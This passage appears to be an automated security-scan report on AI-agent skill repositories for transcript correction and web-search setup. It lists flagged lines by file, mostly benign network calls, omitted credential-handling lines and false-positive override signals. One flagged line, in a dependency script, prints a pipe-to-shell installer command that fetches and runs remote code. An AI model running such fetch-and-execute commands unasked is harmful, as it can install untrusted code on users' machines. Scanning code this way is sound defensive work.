  • Network accessline 173
    motivates validating structured plans before side effects. - [W3C Web Annotation: quote and position selectors](https://www.w3.org/TR/annotation-model/#text-quote-selector)   distinguishes quoted text from mutable positions. This helper use
  • Network accessline 174
    - [W3C Web Annotation: quote and position selectors](https://www.w3.org/TR/annotation-model/#text-quote-selector)

daymade-audio/transcript-fixer/references/review_queue_dashboard.md

  • Network accessline 643
    | `1` | timeline mismatch: a file downloaded, but do **not** wire it | | `2` | downloaded, pairing unverified — `ffprobe` absent or its output unusable, no `--transcript`, the transcript has no `<speaker> HH:MM:SS.mmm` lines, or every one o
  • Network accessline 645
    | `3` | nothing usable produced — bad `--transcript` path (checked before any network work), CLI/API export failure, malformed/missing URL, curl failure or undersized download. The diagnostic preserves the observed error; it does not infer 

daymade-audio/transcript-fixer/references/script_parameters.md

  • Access to secretsline 414
    [Credential-related source omitted]
  • Access to secretsline 415
    [Credential-related source omitted]

daymade-audio/transcript-fixer/references/team_collaboration.md

  • Network accessline 108
    git init && git add team_corrections.json git commit -m "Initial correction export" git remote add origin https://github.com/org/transcript-corrections.git
  • Network accessline 109
    git commit -m "Initial correction export" git remote add origin https://github.com/org/transcript-corrections.git git push -u origin main
  • Network accessline 110
    git remote add origin https://github.com/org/transcript-corrections.git
  • Network accessline 117
    git clone https://github.com/org/transcript-corrections.git ~/transcript-corrections
  • Network accessline 298
    # Re-add if needed git remote set-url origin https://github.com/org/corrections.git
  • Network accessline 299
    git remote set-url origin https://github.com/org/corrections.git
  • Network accessline 326
    - Git workflows: https://git-scm.com/book/en/v2/Git-Branching-Branching-Workflows
  • Network accessline 327
    - JSON validation: https://jsonlint.com/
  • Network accessline 328
    - Team Git practices: https://github.com/git-guides

daymade-audio/transcript-fixer/references/troubleshooting.md

  • Access to secretsline 38
    [Credential-related source omitted]
  • Access to secretsline 39
    [Credential-related source omitted]
  • Access to secretsline 47
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]
  • Access to secretsline 55
    [Credential-related source omitted]
  • Network accessline 64
    **Solutions**: 1. Verify key is correct (copy from https://open.bigmodel.cn/)
  • Network accessline 65
    1. Verify key is correct (copy from https://open.bigmodel.cn/)
  • Access to secretsline 67
    [Credential-related source omitted]

daymade-audio/transcript-fixer/references/workflow_guide.md

  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 80
    [Credential-related source omitted]

daymade-audio/transcript-fixer/scripts/__init__.py

  • Executable scriptline 1
    Executable file

daymade-audio/transcript-fixer/scripts/check_type_hints.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/cli/__init__.py

  • Executable scriptline 1
    Executable file

daymade-audio/transcript-fixer/scripts/cli/argument_parser.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Instruction override signalline 426
    dest="migration_yes",         action="store_true",         help="Skip confirmation prompts"
  • Instruction override signalline 427
    action="store_true",         help="Skip confirmation prompts"     )
  • Instruction override signalline 428
    help="Skip confirmation prompts"

daymade-audio/transcript-fixer/scripts/cli/commands.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 1914
    [Credential-related source omitted]
  • Access to secretsline 1915
    [Credential-related source omitted]
  • Access to secretsline 1918
    [Credential-related source omitted]
  • Access to secretsline 1919
    [Credential-related source omitted]
  • Access to secretsline 1923
    [Credential-related source omitted]
  • Access to secretsline 2271
    [Credential-related source omitted]

daymade-audio/transcript-fixer/scripts/core/__init__.py

  • Executable scriptline 1
    Executable file

daymade-audio/transcript-fixer/scripts/core/ai_processor.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 58
    [Credential-related source omitted]
  • Access to secretsline 66
    [Credential-related source omitted]
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 184
    [Credential-related source omitted]
  • Network accessline 195
    with httpx.Client(timeout=API_TIMEOUT, http2=False) as client:

daymade-audio/transcript-fixer/scripts/core/ai_processor_async.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 95
    [Credential-related source omitted]
  • Access to secretsline 104
    [Credential-related source omitted]
  • Access to secretsline 116
    [Credential-related source omitted]
  • Network accessline 141
    limits = httpx.Limits(
  • Network accessline 144
    keepalive_expiry=30.0                 )                 self._http_client = httpx.AsyncClient(
  • Network accessline 145
    )                 self._http_client = httpx.AsyncClient(                     timeout=API_TIMEOUT,
  • Network accessline 146
    self._http_client = httpx.AsyncClient(
  • Access to secretsline 423
    [Credential-related source omitted]

daymade-audio/transcript-fixer/scripts/core/ai_utils.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/core/change_extractor.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/core/connection_pool.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/core/corpus_probe.py

  • Executable scriptline 1
    Executable file

daymade-audio/transcript-fixer/scripts/core/correction_repository.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/core/correction_service.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/core/defaults.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 21
    DEFAULT_MODEL: Final[str] = "GLM-5.2" FALLBACK_MODEL: Final[str] = "GLM-5-turbo" API_BASE_URL: Final[str] = "https://open.bigmodel.cn/api/anthropic"
  • Network accessline 22
    FALLBACK_MODEL: Final[str] = "GLM-5-turbo" API_BASE_URL: Final[str] = "https://open.bigmodel.cn/api/anthropic" AUTH_HEADER_NAME: Final[str] = "x-api-key"
  • Network accessline 23
    API_BASE_URL: Final[str] = "https://open.bigmodel.cn/api/anthropic"

daymade-audio/transcript-fixer/scripts/core/dictionary_processor.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Possible obfuscationline 169
    if not lines or lines[0].lstrip("<U+FEFF>").strip() != "---":

daymade-audio/transcript-fixer/scripts/core/learning_engine.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/core/name_convergence_guard.py

  • Executable scriptline 1
    Executable file

daymade-audio/transcript-fixer/scripts/core/people_roster.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/core/protected_spans.py

  • Executable scriptline 1
    Executable file

daymade-audio/transcript-fixer/scripts/core/review_queue.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Possible obfuscationline 1932
    if lines and lines[0].lstrip("<U+FEFF>").strip() == "---":

daymade-audio/transcript-fixer/scripts/core/trap_scanner.py

  • Executable scriptline 1
    Executable file

daymade-audio/transcript-fixer/scripts/core/uncertain_extractor.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/data/tech_presets.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/ensure_deps.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 34
    if result.returncode != 0:             print(f"❌ Failed to create venv: {result.stderr}")             print("   Install uv first: curl -LsSf https://astral.sh/uv/install.sh | sh")
  • Network accessline 35
    print(f"❌ Failed to create venv: {result.stderr}")             print("   Install uv first: curl -LsSf https://astral.sh/uv/install.sh | sh")             sys.exit(1)
  • Dangerous shell operationline 36
    print("   Install uv first: curl -LsSf https://astral.sh/uv/install.sh | sh")
  • Network accessline 36
    print("   Install uv first: curl -LsSf https://astral.sh/uv/install.sh | sh")

daymade-audio/transcript-fixer/scripts/examples/bulk_import.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/fetch_minute_audio.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 22
    3  operational failure, nothing usable produced (bad --transcript path or an        unreadable one, an un-writable --output directory, lark-cli failed, curl        failed, the download was too small, or the API refused export).
  • Access to secretsline 66
    [Credential-related source omitted]
  • Network accessline 118
    proc = run(["curl", "--fail", "-sSL", "--noproxy", "*", "-o", str(output), url])     if proc.returncode != 0:         fail(f"curl failed (exit {proc.returncode}): {proc.stderr.strip()[:400]}")
  • Network accessline 119
    if proc.returncode != 0:         fail(f"curl failed (exit {proc.returncode}): {proc.stderr.strip()[:400]}")     if not output.exists() or output.stat().st_size < 10_000:
  • Network accessline 120
    fail(f"curl failed (exit {proc.returncode}): {proc.stderr.strip()[:400]}")

daymade-audio/transcript-fixer/scripts/fix_transcript_enhanced.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 131
    [Credential-related source omitted]
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 136
    [Credential-related source omitted]
  • Network accessline 137
    [Credential-related source omitted]
  • Access to secretsline 137
    [Credential-related source omitted]
  • Network accessline 138
    print("   Config directory can be changed with TRANSCRIPT_FIXER_CONFIG_DIR.")             print("   Get API key from: https://open.bigmodel.cn/")             sys.exit(1)
  • Network accessline 139
    print("   Get API key from: https://open.bigmodel.cn/")

daymade-audio/transcript-fixer/scripts/fix_transcript_timestamps.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/fix_transcription.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/generate_diff_report.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/generate_word_diff.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/harvest_corrections.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/native_review.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/review-dashboard/server.py

  • Executable scriptline 1
    #!/usr/bin/env -S uv run --script
  • Access to secretsline 52
    [Credential-related source omitted]
  • Network accessline 65
    if item_id is not None:         params["item"] = str(item_id)     return f"http://127.0.0.1:{PORT}/?{urlencode(params)}"
  • Network accessline 67
    return f"http://127.0.0.1:{PORT}/?{urlencode(params)}"
  • Access to secretsline 467
    [Credential-related source omitted]

daymade-audio/transcript-fixer/scripts/review-dashboard/static/app.js

  • Executable scriptline 1
    Executable file
  • Network accessline 51
    if (state.filePath) params.set("file_path", state.filePath);   if (state.itemOnly && state.selectedId) params.set("item_id", String(state.selectedId));   const res = await fetch(`/api/queue?${params}`);
  • Network accessline 52
    if (state.itemOnly && state.selectedId) params.set("item_id", String(state.selectedId));   const res = await fetch(`/api/queue?${params}`);   const data = await res.json();
  • Network accessline 53
    const res = await fetch(`/api/queue?${params}`);
  • Network accessline 272
    const seq = ++contextSeq;   try {     const res = await fetch(`/api/context/${id}`);
  • Network accessline 273
    try {     const res = await fetch(`/api/context/${id}`);     const data = await res.json();
  • Network accessline 274
    const res = await fetch(`/api/context/${id}`);
  • Network accessline 383
    if (note) body.note = note;   try {     const res = await fetch("/api/resolve", {
  • Network accessline 384
    try {     const res = await fetch("/api/resolve", {       method: "POST",
  • Network accessline 385
    const res = await fetch("/api/resolve", {

daymade-audio/transcript-fixer/scripts/run_tests.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/scan_numeric_consistency.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/split_transcript_sections.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/tests/__init__.py

  • Executable scriptline 1
    Executable file

daymade-audio/transcript-fixer/scripts/tests/test_add_guards.py

  • Executable scriptline 1
    Executable file

daymade-audio/transcript-fixer/scripts/tests/test_audit_log_retention.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/tests/test_close_sidecars.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 66
    [Credential-related source omitted]
  • Access to secretsline 69
    [Credential-related source omitted]
  • Access to secretsline 70
    [Credential-related source omitted]
  • Access to secretsline 71
    [Credential-related source omitted]
  • Access to secretsline 90
    [Credential-related source omitted]
  • Access to secretsline 92
    [Credential-related source omitted]

daymade-audio/transcript-fixer/scripts/tests/test_common_words_safety.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/tests/test_connection_pool.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/tests/test_context_rule_state.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 100
    [Credential-related source omitted]

daymade-audio/transcript-fixer/scripts/tests/test_corpus_probe.py

  • Executable scriptline 1
    Executable file

daymade-audio/transcript-fixer/scripts/tests/test_correction_service.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/tests/test_dashboard_context.py

  • Executable scriptline 1
    Executable file

daymade-audio/transcript-fixer/scripts/tests/test_domain_hint.py

  • Executable scriptline 1
    Executable file

daymade-audio/transcript-fixer/scripts/tests/test_domain_validator.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/tests/test_error_recovery.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 255
    if attempt_count[0] < 3:                 import httpx                 raise httpx.ConnectTimeout("Connection timeout")
  • Network accessline 256
    import httpx                 raise httpx.ConnectTimeout("Connection timeout")             return "success"
  • Network accessline 257
    raise httpx.ConnectTimeout("Connection timeout")
  • Network accessline 295
    assert is_transient_error(httpx.ConnectTimeout("timeout")) == True
  • Network accessline 296
    assert is_transient_error(httpx.ReadTimeout("timeout")) == True
  • Network accessline 297
    assert is_transient_error(httpx.ConnectError("connection failed")) == True
  • Access to secretsline 310
    [Credential-related source omitted]
  • Access to secretsline 363
    [Credential-related source omitted]
  • Access to secretsline 378
    [Credential-related source omitted]
  • Access to secretsline 394
    [Credential-related source omitted]
  • Access to secretsline 409
    [Credential-related source omitted]
  • Access to secretsline 422
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]
  • Access to secretsline 458
    [Credential-related source omitted]
  • Access to secretsline 472
    [Credential-related source omitted]
  • Access to secretsline 503
    [Credential-related source omitted]
  • Access to secretsline 522
    [Credential-related source omitted]
  • Access to secretsline 546
    [Credential-related source omitted]
  • Access to secretsline 560
    [Credential-related source omitted]
  • Access to secretsline 661
    [Credential-related source omitted]
  • Access to secretsline 717
    [Credential-related source omitted]
  • Access to secretsline 1003
    [Credential-related source omitted]
  • Access to secretsline 1390
    [Credential-related source omitted]
  • Access to secretsline 1455
    [Credential-related source omitted]

daymade-audio/transcript-fixer/scripts/tests/test_fix_transcript_timestamps.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/tests/test_frontmatter_ledger.py

  • Executable scriptline 1
    Executable file
  • Possible obfuscationline 201
    bom = "<U+FEFF>" + LEDGER_TRANSCRIPT

daymade-audio/transcript-fixer/scripts/tests/test_harvest_corrections.py

  • Executable scriptline 1
    Executable file

daymade-audio/transcript-fixer/scripts/tests/test_intermediate_directory.py

  • Executable scriptline 1
    Executable file

daymade-audio/transcript-fixer/scripts/tests/test_learning_engine.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/tests/test_lookup.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 35
    [Credential-related source omitted]
  • Access to secretsline 38
    [Credential-related source omitted]
  • Access to secretsline 39
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 69
    [Credential-related source omitted]
  • Access to secretsline 71
    [Credential-related source omitted]
  • Access to secretsline 107
    [Credential-related source omitted]

daymade-audio/transcript-fixer/scripts/tests/test_multi_domain.py

  • Executable scriptline 1
    Executable file

daymade-audio/transcript-fixer/scripts/tests/test_name_convergence_guard.py

  • Executable scriptline 1
    Executable file

daymade-audio/transcript-fixer/scripts/tests/test_numeric_consistency.py

  • Executable scriptline 1
    Executable file

daymade-audio/transcript-fixer/scripts/tests/test_occurrence_contract.py

  • Executable scriptline 1
    Executable file

daymade-audio/transcript-fixer/scripts/tests/test_organization_citation.py

  • Executable scriptline 1
    Executable file

daymade-audio/transcript-fixer/scripts/tests/test_path_validator.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/tests/test_people_roster_configured.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/tests/test_replay_citation.py

  • Executable scriptline 1
    Executable file

daymade-audio/transcript-fixer/scripts/tests/test_review_queue.py

  • Executable scriptline 1
    Executable file
  • Network accessline 765
    ):         f = tmp_path / "window.md"         f.write_text("A 行:模糊词在此。\nB 行:模糊词在此。\nC 行:结尾。\n", encoding="utf-8")
  • Network accessline 766
    f = tmp_path / "window.md"         f.write_text("A 行:模糊词在此。\nB 行:模糊词在此。\nC 行:结尾。\n", encoding="utf-8")         ids = queue.enqueue([{
  • Network accessline 767
    f.write_text("A 行:模糊词在此。\nB 行:模糊词在此。\nC 行:结尾。\n", encoding="utf-8")

daymade-audio/transcript-fixer/scripts/tests/test_skill_doc_examples.py

  • Executable scriptline 1
    Executable file

daymade-audio/transcript-fixer/scripts/tests/test_split_transcript_sections.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/tests/test_stage1_auto_finalize.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/tests/test_trap_demotion.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/tests/test_trap_scanner.py

  • Executable scriptline 1
    Executable file
  • Network accessline 267
    text = (             "---\n"             'record_url: "https://example.invalid/record/V"\n'
  • Network accessline 268
    "---\n"             'record_url: "https://example.invalid/record/V"\n'             'source_url: "https://example.invalid/cri"\n'
  • Network accessline 269
    'record_url: "https://example.invalid/record/V"\n'
  • Network accessline 270
    'source_url: "https://example.invalid/cri"\n'
  • Network accessline 289
    def test_body_machine_shaped_lines_and_urls_remain_live(self):         text = "---\ntitle: clean\n---\nrecord_url: https://example.invalid/V\nstatus: cri\n"
  • Network accessline 290
    text = "---\ntitle: clean\n---\nrecord_url: https://example.invalid/V\nstatus: cri\n"
  • Network accessline 295
    text = (             "---\nrecord_ids:\n  - GP\n  - GPT\n"             "record_url: >-\n  https://example.invalid/V\n"
  • Network accessline 296
    "---\nrecord_ids:\n  - GP\n  - GPT\n"             "record_url: >-\n  https://example.invalid/V\n"             "keywords:\n  - cri\n  - GPT\n---\n正文 V。\n"
  • Network accessline 297
    "record_url: >-\n  https://example.invalid/V\n"
  • Network accessline 315
    ("GPT V cri", [("GPT", 1), ("V", 1), ("cri", 1)]),             ("---\n---\nGPT V cri", [("GPT", 3), ("V", 3), ("cri", 3)]),             ("---\nrecord_url: https://example.invalid/V\nGPT cri",
  • Network accessline 316
    ("---\n---\nGPT V cri", [("GPT", 3), ("V", 3), ("cri", 3)]),             ("---\nrecord_url: https://example.invalid/V\nGPT cri",              [("GPT", 3), ("V", 2), ("cri", 3)]),
  • Network accessline 317
    ("---\nrecord_url: https://example.invalid/V\nGPT cri",
  • Network accessline 318
    [("GPT", 3), ("V", 2), ("cri", 3)]),             ("record_url: https://example.invalid/V\nstatus: cri",              [("V", 1), ("cri", 2)]),
  • Network accessline 319
    ("record_url: https://example.invalid/V\nstatus: cri",
  • Network accessline 324
    def test_bom_frontmatter_preserves_body_line_numbers(self):         text = "\ufeff---\nrecord_url: https://example.invalid/V\n---\nGPT"
  • Network accessline 325
    text = "\ufeff---\nrecord_url: https://example.invalid/V\n---\nGPT"

daymade-audio/transcript-fixer/scripts/tests/test_word_boundary_straddle.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 187
    [Credential-related source omitted]
  • Access to secretsline 189
    [Credential-related source omitted]
  • Access to secretsline 190
    [Credential-related source omitted]
  • Access to secretsline 191
    [Credential-related source omitted]
  • Access to secretsline 203
    [Credential-related source omitted]
  • Access to secretsline 205
    [Credential-related source omitted]

daymade-audio/transcript-fixer/scripts/tests/test_wording_reference.py

  • Executable scriptline 1
    Executable file

daymade-audio/transcript-fixer/scripts/utils/__init__.py

  • Executable scriptline 1
    Executable file

daymade-audio/transcript-fixer/scripts/utils/audit_log_retention.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/utils/common_words.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/utils/concurrency_manager.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/utils/config.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 94
    [Credential-related source omitted]
  • Access to secretsline 221
    [Credential-related source omitted]
  • Access to secretsline 222
    [Credential-related source omitted]
  • Access to secretsline 260
    [Credential-related source omitted]
  • Access to secretsline 265
    [Credential-related source omitted]
  • Access to secretsline 350
    [Credential-related source omitted]
  • Access to secretsline 415
    [Credential-related source omitted]
  • Access to secretsline 470
    [Credential-related source omitted]
  • Access to secretsline 472
    [Credential-related source omitted]
  • Access to secretsline 540
    [Credential-related source omitted]
  • Access to secretsline 541
    [Credential-related source omitted]
  • Access to secretsline 542
    [Credential-related source omitted]
  • Access to secretsline 637
    [Credential-related source omitted]

daymade-audio/transcript-fixer/scripts/utils/database_migration.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/utils/db_migrations_cli.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/utils/diff_formats/__init__.py

  • Executable scriptline 1
    Executable file

daymade-audio/transcript-fixer/scripts/utils/diff_formats/change_extractor.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/utils/diff_formats/html_format.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/utils/diff_formats/inline_format.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/utils/diff_formats/markdown_format.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/utils/diff_formats/text_splitter.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/utils/diff_formats/unified_format.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/utils/diff_generator.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/utils/domain_validator.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/utils/health_check.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 305
    [Credential-related source omitted]
  • Access to secretsline 310
    [Credential-related source omitted]
  • Access to secretsline 312
    [Credential-related source omitted]
  • Access to secretsline 318
    [Credential-related source omitted]
  • Access to secretsline 323
    [Credential-related source omitted]
  • Access to secretsline 329
    [Credential-related source omitted]
  • Access to secretsline 338
    [Credential-related source omitted]

daymade-audio/transcript-fixer/scripts/utils/logging_config.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/utils/metrics.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/utils/migrations.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/utils/path_validator.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/utils/rate_limiter.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/scripts/utils/retry_logic.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 327
    if attempt_count < 3:             raise httpx.ConnectTimeout("Connection timeout")
  • Network accessline 328
    raise httpx.ConnectTimeout("Connection timeout")
  • Network accessline 349
    if attempt_count < 2:                 raise httpx.ReadTimeout("Read timeout")
  • Network accessline 350
    raise httpx.ReadTimeout("Read timeout")

daymade-audio/transcript-fixer/scripts/utils/security.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 97
    [Credential-related source omitted]
  • Access to secretsline 195
    [Credential-related source omitted]
  • Access to secretsline 251
    [Credential-related source omitted]
  • Access to secretsline 252
    [Credential-related source omitted]
  • Access to secretsline 253
    [Credential-related source omitted]
  • Access to secretsline 256
    [Credential-related source omitted]
  • Access to secretsline 296
    [Credential-related source omitted]
  • Access to secretsline 297
    [Credential-related source omitted]
  • Access to secretsline 298
    [Credential-related source omitted]
  • Access to secretsline 301
    [Credential-related source omitted]
  • Access to secretsline 302
    [Credential-related source omitted]
  • Access to secretsline 305
    [Credential-related source omitted]
  • Access to secretsline 309
    [Credential-related source omitted]
  • Access to secretsline 310
    [Credential-related source omitted]
  • Access to secretsline 313
    [Credential-related source omitted]

daymade-audio/transcript-fixer/scripts/utils/validation.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 120
    [Credential-related source omitted]
  • Access to secretsline 123
    [Credential-related source omitted]
  • Access to secretsline 125
    [Credential-related source omitted]
  • Access to secretsline 126
    [Credential-related source omitted]

daymade-audio/transcript-fixer/scripts/verify_queue_audio.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 298
    [Credential-related source omitted]

daymade-audio/transcript-fixer/tests/test_database_migration.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/tests/test_fetch_minute_audio.py

  • Executable scriptline 1
    Executable file
  • Network accessline 14
    fetch = importlib.util.module_from_spec(spec) spec.loader.exec_module(fetch) URL = "https://media.example.test/audio?signature=synthetic"
  • Network accessline 16
    URL = "https://media.example.test/audio?signature=synthetic"

daymade-audio/transcript-fixer/tests/test_field_evidence_cases.py

  • Executable scriptline 1
    Executable file

daymade-audio/transcript-fixer/tests/test_mlx_queue_adapter.py

  • Executable scriptline 1
    Executable file

daymade-audio/transcript-fixer/tests/test_native_review.py

  • Executable scriptline 1
    Executable file

daymade-audio/transcript-fixer/tests/test_people_roster.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-audio/transcript-fixer/tests/test_verify_queue_audio.py

  • Executable scriptline 1
    Executable file

daymade-claude-code/agent-web-search-setup/SKILL.md

  • Access to secretsline 57
    [Credential-related source omitted]
  • Network accessline 302
    [mcp_servers.exa] url = "https://mcp.exa.ai/mcp"
  • Network accessline 303
    url = "https://mcp.exa.ai/mcp"
  • Network accessline 595
    **Spot-check the URLs, and calibrate before calling one fake.** A backend can return a plausible title over a URL that does not resolve, so the links quoted to the user are worth a `curl -sIL`. A non-200 on its own does not mean the link wa
  • Network accessline 596
    return a plausible title over a URL that does not resolve, so the links quoted to the user are worth a `curl -sIL`. A non-200 on its own does not mean the link was invented: news sites refuse unattended requests, and a page that answers 401
  • Network accessline 597
    the user are worth a `curl -sIL`. A non-200 on its own does not mean the link was

daymade-claude-code/agent-web-search-setup/references/backends.md

  • Network accessline 76
    `https://mcp.exa.ai/mcp` — **live-tested**.
  • Network accessline 81
    claude mcp add --scope user --transport http exa https://mcp.exa.ai/mcp
  • Network accessline 143
    **Tavily** — `https://mcp.tavily.com/mcp/`, **live-tested**. Hosted, so still
  • Network accessline 180
    **You.com keyless** — `https://api.you.com/mcp?profile=free`, **live-tested**.
  • Network accessline 189
    **Linkup** — `https://mcp.linkup.so/mcp`. Its documented free allowance is the
  • Network accessline 231
    proxy, whose DNS resolves the host into a fake-IP range, so every request reached the endpoint by that route. Whether Exa answers a mainland connection with no proxy in front of it is still unmeasured, and `curl --noproxy` cannot
  • Network accessline 232
    reached the endpoint by that route. Whether Exa answers a mainland connection with no proxy in front of it is still unmeasured, and `curl --noproxy` cannot settle it: that flag bypasses the proxy environment variables while the TUN
  • Network accessline 233
    with no proxy in front of it is still unmeasured, and `curl --noproxy` cannot
  • Network accessline 249
    | Option | Endpoint | Billing | |---|---|---| | Aliyun Bailian web search | `https://dashscope.aliyuncs.com/api/v1/mcps/WebSearch/mcp` | first 2,000 calls free, then per-thousand |
  • Network accessline 250
    |---|---|---| | Aliyun Bailian web search | `https://dashscope.aliyuncs.com/api/v1/mcps/WebSearch/mcp` | first 2,000 calls free, then per-thousand | | Tencent Cloud WSA | `https://api.wsa.cloud.tencent.com/Mcp` | per-thousand, no enterprise
  • Network accessline 251
    | Aliyun Bailian web search | `https://dashscope.aliyuncs.com/api/v1/mcps/WebSearch/mcp` | first 2,000 calls free, then per-thousand |
  • Network accessline 252
    | Tencent Cloud WSA | `https://api.wsa.cloud.tencent.com/Mcp` | per-thousand, no enterprise tier required for the entry plan |
  • Network accessline 275
    The console is `https://bailian.console.aliyun.com/`. **The clicks inside it are not

daymade-claude-code/agent-web-search-setup/scripts/diagnose.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 87
    "web_fetch": {         "type": "web_fetch_20250910",         "prompt": ("Use the web_fetch tool right now to fetch https://example.com and tell me "
  • Network accessline 88
    "type": "web_fetch_20250910",         "prompt": ("Use the web_fetch tool right now to fetch https://example.com and tell me "                    "the first heading on that page. Do not answer from memory."),
  • Network accessline 89
    "prompt": ("Use the web_fetch tool right now to fetch https://example.com and tell me "
  • Network accessline 114
    def post(url, payload, headers, timeout):     body = json.dumps(payload).encode("utf-8")     req = urllib.request.Request(url, data=body, method="POST")
  • Network accessline 115
    body = json.dumps(payload).encode("utf-8")     req = urllib.request.Request(url, data=body, method="POST")     req.add_header("content-type", "application/json")
  • Network accessline 116
    req = urllib.request.Request(url, data=body, method="POST")
  • Network accessline 119
    req.add_header(key, value)     try:         with urllib.request.urlopen(req, timeout=timeout) as resp:
  • Network accessline 120
